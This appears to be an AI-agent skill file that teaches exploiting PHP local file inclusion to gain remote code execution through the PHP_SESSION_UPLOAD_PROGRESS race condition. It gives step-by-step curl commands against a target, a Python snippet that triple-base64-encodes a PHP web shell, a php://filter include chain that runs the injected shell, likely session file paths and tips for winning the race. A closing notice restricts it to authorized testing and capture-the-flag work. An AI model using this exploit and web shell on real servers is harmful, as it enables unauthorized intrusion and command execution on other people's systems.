Lfi PHP Session Exploit

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

This skill helps you exploit Local File Inclusion vulnerabilities by leveraging PHP's session.upload_progress feature to achieve Remote Code Execution (RCE).

When to Use This Skill

Use this technique when:

• You've identified an LFI vulnerability in a PHP application
• You don't have an active session but session.auto_start is Off
• session.upload_progress.enabled is On (default in PHP)
• You need to escalate LFI to RCE
• You're working on CTF challenges or authorized penetration testing

Vulnerability Overview

PHP's session.upload_progress feature allows tracking of file uploads. When you provide PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP automatically enables the session for you, even without a valid session cookie. This creates an opportunity to:

1. Control session data - You can inject arbitrary content into the session file
2. Include your payload - If the application includes session files, you can include your controlled content
3. Achieve RCE - By injecting PHP shellcode into the session

The Race Condition Challenge

Important: The default session.upload_progress.cleanup setting is On, meaning the upload progress data is cleaned as soon as possible. This creates a race condition - you must include the session file before PHP cleans it.

The Prefix Problem

By default, PHP session files created via upload progress start with the prefix upload_progress_. This means your session file will look like:

upload_progress_controlledcontentbyattacker

To remove this prefix and control the beginning of the file, use the base64 encoding trick:

1. Base64 encode your payload 3 times
2. Use convert.base64-decode filter 3 times when including
3. PHP removes the prefix characters during decoding
4. Only your payload remains at the start

Exploitation Steps

Step 1: Verify the Vulnerability

Test if the target is vulnerable:

# Check if session is created with PHP_SESSION_UPLOAD_PROGRESS
curl http://target/ -H 'Cookie: PHPSESSID=test123' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'

# On the server, check if session file was created
ls -la /var/lib/php/sessions/
# Look for: sess_test123

Step 2: Craft the Payload

Create a payload that will survive the base64 encoding/decoding process:

import base64
import sys

# Your PHP shellcode
payload = "<?php system($_GET['cmd']); ?>"

# Encode 3 times to remove the prefix
encoded = base64.b64encode(payload.encode()).decode()
encoded = base64.b64encode(encoded.encode()).decode()
encoded = base64.b64encode(encoded.encode()).decode()

print(encoded)

Step 3: Trigger the Race Condition

Send the multipart POST with your encoded payload:

curl -X POST http://target/vulnerable.php \
  -F "PHP_SESSION_UPLOAD_PROGRESS=<YOUR_BASE64_PAYLOAD>" \
  -F "file=@/etc/passwd"

Step 4: Include the Session File

Use the LFI to include your session with the decode filters:

# Include with 3x base64 decode filters
curl "http://target/vulnerable.php?file=php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=/var/lib/php/sessions/sess_<SESSION_ID>"

Step 5: Execute Commands

If successful, your shell will be active:

curl "http://target/vulnerable.php?file=php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=/var/lib/php/sessions/sess_<SESSION_ID>&cmd=id"

Complete Exploit Script

Use the bundled script exploit-php-session-lfi.py for automated exploitation. It handles:

• Payload encoding
• Race condition timing
• Session file location detection
• Command execution

Common Session File Locations

PHP session files are typically stored in:

• /var/lib/php/sessions/
• /var/lib/php5/sessions/
• /tmp/
• /var/tmp/
• /dev/shm/

Check session.save_path in phpinfo() output if available.

Detection and Evasion

Signs the Target is Vulnerable

• PHP application with file inclusion
• session.upload_progress.enabled is On (default)
• LFI vulnerability confirmed
• Session files are world-readable

Bypass Techniques

• Try different session paths
• Use multiple concurrent requests to increase race condition success rate
• Adjust timing between upload and include requests

References

• Original CTF Writeup
• Exploit Script
• Additional Writeup

Legal Notice

This skill is for authorized security testing and CTF challenges only. Always obtain proper authorization before testing any system. Unauthorized exploitation of vulnerabilities is illegal.